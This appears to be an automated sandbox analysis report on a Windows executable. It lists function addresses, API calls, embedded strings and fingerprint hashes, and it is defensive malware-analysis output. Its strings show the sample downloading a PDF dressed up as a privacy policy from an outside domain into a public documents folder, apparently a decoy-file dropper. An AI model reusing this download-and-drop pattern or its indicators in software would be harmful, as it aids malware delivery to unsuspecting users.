AddVectoredExceptionHandler.KERNEL32 ref: 00007FF681AFCBB9
SetThreadStackGuarantee.KERNELBASE ref: 00007FF681AFCBCA
GetCurrentThread.KERNEL32 ref: 00007FF681AFCBD0
SetThreadDescription.KERNELBASE ref: 00007FF681AFCBE7

Strings

main, xrefs: 00007FF681AFCBDD

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: Thread$CurrentDescriptionExceptionGuaranteeHandlerStackVectored
String ID: main
API String ID: 3663057573-3207122276
Opcode ID: 5717d37d51899d4034ad387a03373f59f099b5aa9c3029e1fd37bde9bb38c495
Instruction ID: f824f7c7338d0c90b33e70e2eba111b6baad57fd2348a464eef03cd80d61bac8
Opcode Fuzzy Hash: 5717d37d51899d4034ad387a03373f59f099b5aa9c3029e1fd37bde9bb38c495
Instruction Fuzzy Hash: A8114F21B14B16D4F720DB64E8483EC2361BF467A8F804279C95E96794EF6CA849C340

Function 00007FF6819E1A5C Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF6819E1AF7

Strings

C:\Users\Public\Documents, xrefs: 00007FF6819E1C44
https://rdoge.pro/nd/eneba_com_privacy_policy.pdfFailed to download PDF: , xrefs: 00007FF6819E1CE3
privacy_policy.pdfDownloading PDF..., xrefs: 00007FF6819E1C4B

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\Public\Documents$https://rdoge.pro/nd/eneba_com_privacy_policy.pdfFailed to download PDF: $privacy_policy.pdfDownloading PDF...
API String ID: 2962429428-1580497275
Opcode ID: 2363968b6b1b07ea22bbaf8e9537c656af19ced9a404c2e9d19e8ebc403d9ada
Instruction ID: 7310fa55a1fba589654cd06f61a2887c2f5bc13334430a99b82c43eba8316e46
Opcode Fuzzy Hash: 2363968b6b1b07ea22bbaf8e9537c656af19ced9a404c2e9d19e8ebc403d9ada
Instruction Fuzzy Hash: 43515C76609BC5D0EBB18B01E4403EA6361FF89784F44813ACA8D87B9AEF7CD645C700

Function 00007FF6819FDEB4 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 292
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF6819FE081

Strings

httphttpsNO_PROXYno_proxyC:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\reqwest-0.11.27\src\proxy.rsunknown proxy scheme, xrefs: 00007FF6819FE136, 00007FF6819FE3CB
HTTPS_PROXYhttps_proxyALL_PROXYall_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer=;, xrefs: 00007FF6819FE2E0

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: PrngProcess
String ID: HTTPS_PROXYhttps_proxyALL_PROXYall_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer=;$httphttpsNO_PROXYno_proxyC:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\reqwest-0.11.27\src\proxy.rsunknown proxy scheme
API String ID: 2076587149-4052833088
Opcode ID: 5ce04234419b8aab98520915ce50b45d07c1cd5587318be34b6960a69e261f60
Instruction ID: f6dfd2010e75e49c4c5940b35db27cebae6f32a1ed0ef580ac262688232bbde0
Opcode Fuzzy Hash: 5ce04234419b8aab98520915ce50b45d07c1cd5587318be34b6960a69e261f60
Instruction Fuzzy Hash: F3E1D361A1C6C2D0FF619B15E0007F9A362FF94788F44503AEA9D8769AEFBDE585C700

Function 00007FF681B09AE0 Relevance: 4.6, APIs: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNELBASE(?,?,?,?,?,?,?,?,00000000,?,?,00007FF681B0A0D4), ref: 00007FF681B09B0F
GetFileInformationByHandleEx.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,00007FF681B0A0D4), ref: 00007FF681B09B44
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,00007FF681B0A0D4), ref: 00007FF681B09BC4

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: FileHandleInformation$ErrorLast
String ID:
API String ID: 3070998852-0
Opcode ID: ec778c9f5b2e06f1e3fec00f59a4d6af2dd338d34c225b110a13723eed2bedf4
Instruction ID: 5ff9dd16925739c48ac8d02f035d3c58d7309de4e2af5ca831441090be7c848a
Opcode Fuzzy Hash: ec778c9f5b2e06f1e3fec00f59a4d6af2dd338d34c225b110a13723eed2bedf4
Instruction Fuzzy Hash: 29311A72A10A51CAF320CFA9E4407AD77B0BB58788F109129CF9953B54DB78EA81C750

Function 00007FF681A78730 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

AcquireCredentialsHandleA.SECUR32 ref: 00007FF681A789B1

Strings

Microsoft Unified Security Protocol Provider, xrefs: 00007FF681A789A2

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: AcquireCredentialsHandle
String ID: Microsoft Unified Security Protocol Provider
API String ID: 3250056690-238809041
Opcode ID: 37b3eff320884aadc4c0925d6661103763e666adf48aeb940a60a2b9a38cb8b8
Instruction ID: 5593ccc30d93da616fb06f833ade1b1f43969f49cc5d0ee5e4876a1781f293ba
Opcode Fuzzy Hash: 37b3eff320884aadc4c0925d6661103763e666adf48aeb940a60a2b9a38cb8b8
Instruction Fuzzy Hash: F6814B62A18B80C1EB218B15E40037967A0FF55B94F115A3ADEDD873D9EF7CE681C300

Function 00007FF681A3F020 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 137registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE ref: 00007FF681A3F0E6

Strings

ErrSendError, xrefs: 00007FF681A3F1EE

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: QueryValue
String ID: ErrSendError
API String ID: 3660427363-1189180904
Opcode ID: 3efc30ca24105d8813f07490e6d520f75dc2d35875bf3141fe2fc03c627bbe9a
Instruction ID: 4bf7f844992d4b10bdfc026c50dbe095b58345dd8976d76d7c7bb56d15f7bc3b
Opcode Fuzzy Hash: 3efc30ca24105d8813f07490e6d520f75dc2d35875bf3141fe2fc03c627bbe9a
Instruction Fuzzy Hash: FE517B72A29781C1EB508B41F44076AA761FF86794F14A03AFE8D87B98DF7DD586CB00

Function 00007FF6819F3312 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 317COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6819F3742

Strings

reqwest::blocking::wait) park timeout , xrefs: 00007FF6819F33D7

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseHandle
String ID: reqwest::blocking::wait) park timeout
API String ID: 2962429428-877075729
Opcode ID: 19b1ba6669e2882851926500947e16eece5147e7fb28a7c964911583df4389c5
Instruction ID: ac9bc3d22651b7ca0618814e109505f7c8b1ed3ccbc8c43985d79b264c3fb12f
Opcode Fuzzy Hash: 19b1ba6669e2882851926500947e16eece5147e7fb28a7c964911583df4389c5
Instruction Fuzzy Hash: 0DF16C32A0CAC2D1EB619B11E4403BA77A0FF85758F44403AEA9D87B96DFBDE585C740

Function 00007FF681AFEAF0 Relevance: 3.1, APIs: 2, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85633f2b171b81fe2733a7667c4c2bb9873ee1da7469a2cc2da39aa992af561e
Instruction ID: 7b5ea255a711624f958c4b99ae5bf436142c63fca18544ce68862270f624b9b9
Opcode Fuzzy Hash: 85633f2b171b81fe2733a7667c4c2bb9873ee1da7469a2cc2da39aa992af561e
Instruction Fuzzy Hash: 2531BEA2B08A91D8FB608A629E047FD6761BF46FE4F185236DE1D87FD9DE28D105C300

Function 00007FF681B13A70 Relevance: 3.1, APIs: 2, Instructions: 91threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF681B13ADB
GetLastError.KERNEL32 ref: 00007FF681B13B38

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CreateErrorLastThread
String ID:
API String ID: 1689873465-0
Opcode ID: e3f38bc52cde8101acc6a4c434333cc34deec78a6df4b7c1c26b8c4d6fbf5e6f
Instruction ID: 46cfc19892b44a65d9690a11fbca7ce96b3d1e5179e5653c3b14b206640ea29e
Opcode Fuzzy Hash: e3f38bc52cde8101acc6a4c434333cc34deec78a6df4b7c1c26b8c4d6fbf5e6f
Instruction Fuzzy Hash: 5F318272B04B40C5FB109B62E8403AD67A0BF89BA8F149539DE5C97BE8DF78D582C310

Function 00007FF6819E50A3 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6819E5254

Strings

C:\Users\Public\Documents, xrefs: 00007FF6819E5110

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\Public\Documents
API String ID: 2962429428-2080027596
Opcode ID: 927e516c2347c1c0215bd6cbaec7c172e8dfb62a816abfc86daf00f2158d4ca2
Instruction ID: b86ebe622c55f95f42876e5bdad90907f64f6a5741b7247809ac16ed0d8a2d5c
Opcode Fuzzy Hash: 927e516c2347c1c0215bd6cbaec7c172e8dfb62a816abfc86daf00f2158d4ca2
Instruction Fuzzy Hash: C8212A33608B8582EB618B06F44076AB764FB85794F104036EFCD43B59DE7CE585CB00

Function 00007FF681B0CB40 Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

GetOverlappedResult.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFE), ref: 00007FF681B0CB95
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFE), ref: 00007FF681B0CBF5

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorLastOverlappedResult
String ID:
API String ID: 185562886-0
Opcode ID: 0fa6ea2120317ae8bf35dfed6fc37cbd091f219776a6609b6e9949247d67e3f7
Instruction ID: 410e8a00c76d25494517cf9eed2bfa690361e58d02e692458ead105db88c3bab
Opcode Fuzzy Hash: 0fa6ea2120317ae8bf35dfed6fc37cbd091f219776a6609b6e9949247d67e3f7
Instruction Fuzzy Hash: F621B022B08A59D5FF208B62DA403B827A0BF06B98F045576DE0DD7784DF78ED95D340

Function 00007FF681ACDBE0 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF681B0242A

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 154d258f214a51fcbafb33fc674efef0ea24235c9ed3203392dcde8bccda62c6
Instruction ID: d8458d2e9a29aa477a7c15295c37d74910da29942f840d49826368891c8222a5
Opcode Fuzzy Hash: 154d258f214a51fcbafb33fc674efef0ea24235c9ed3203392dcde8bccda62c6
Instruction Fuzzy Hash: 5701DE61E18901C6EB74977894852B82260BF51734F64873ACA7D82AE0DE3CAAE7C740

Function 00007FF681AFEA70 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6819E6581,?,?,?,?,?,00000000,00000000,?,C:\Users\Public\Documents,00007FF6819E513A), ref: 00007FF681AFEA9A
GetLastError.KERNEL32(?,?,?,?,?,00007FF6819E6581,?,?,?,?,?,00000000,00000000,?,C:\Users\Public\Documents,00007FF6819E513A), ref: 00007FF681AFEAB0

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 0f9c82189b1e3d282f9e5b1a7c54384affd14f741c8ba88ff6f2348a65bed8de
Instruction ID: 1756ebc76170fb05d638bdb1587a369b9c87d1b899cb7573d59957e4beebdedc
Opcode Fuzzy Hash: 0f9c82189b1e3d282f9e5b1a7c54384affd14f741c8ba88ff6f2348a65bed8de
Instruction Fuzzy Hash: 85F0A0B9F10A42DAFB108B71E4453A923A1BB49B88F988066CE4C97754DE3CD2D4C240

Function 00007FF681A0732F Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF681A07384

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 74375354b4e90fc6558eb385d445f28507afa5bd17dcf8fa4c25a8e0b710649a
Instruction ID: 7c7786206610c69ac8e7f4958f0133f0bd355b23e484e674b62ac51f0fbc37fc
Opcode Fuzzy Hash: 74375354b4e90fc6558eb385d445f28507afa5bd17dcf8fa4c25a8e0b710649a
Instruction Fuzzy Hash: 20115122A08902C1FB625A56E45237E2320FF50B65F84913BCE5EC76D2DE3DE446C341

Function 00007FF681AD1D40 Relevance: 1.5, APIs: 1, Instructions: 45networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 00007FF681AD1D7A

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: abb31ab43c392a963a698deb1a8430a5798462c92267b8217a693e4f114c6d75
Instruction ID: d20db76df137b69196955718edff34305c3d373ba89a93dfd9e3e1721cab18bb
Opcode Fuzzy Hash: abb31ab43c392a963a698deb1a8430a5798462c92267b8217a693e4f114c6d75
Instruction Fuzzy Hash: 9501C472B0860181FB609B25B4407AA5692BFD57B4F149239E9AE87BD4CE3CD885CB40

Function 00007FF681A785F0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

QueryContextAttributesW.SECUR32 ref: 00007FF681A78607

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: AttributesContextQuery
String ID:
API String ID: 1320229847-0
Opcode ID: e7dfa641a79cf7634d1b08b1246c2bead6f7e588ca786a461f45f25fe527162c
Instruction ID: ce5837d549b1a282ed95e326a481f638c2f482110ad918f64cfdd3ba9721d8f8
Opcode Fuzzy Hash: e7dfa641a79cf7634d1b08b1246c2bead6f7e588ca786a461f45f25fe527162c
Instruction Fuzzy Hash: 40E01299F05A8593EB349B15A84235752A2B79D384F90E125D5C88374CCF3CC65ADF10

Function 00007FF681AD1E70 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF681AD1E88

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 9f6f3cee1a3b0e278819244ed13c6957ac8f5ed41e4169a53dbca6a10f53d807
Instruction ID: b19bf52603fbac129e91e46d9b94530f749f9fb1a6f1cb8259749c23ccac5dbe
Opcode Fuzzy Hash: 9f6f3cee1a3b0e278819244ed13c6957ac8f5ed41e4169a53dbca6a10f53d807
Instruction Fuzzy Hash: C7D02B66E05802C1C730677354C20BE22E0BFC8714FD01A36D15CC13D0ED2CC6AACB00

Function 00007FF681AD1E30 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

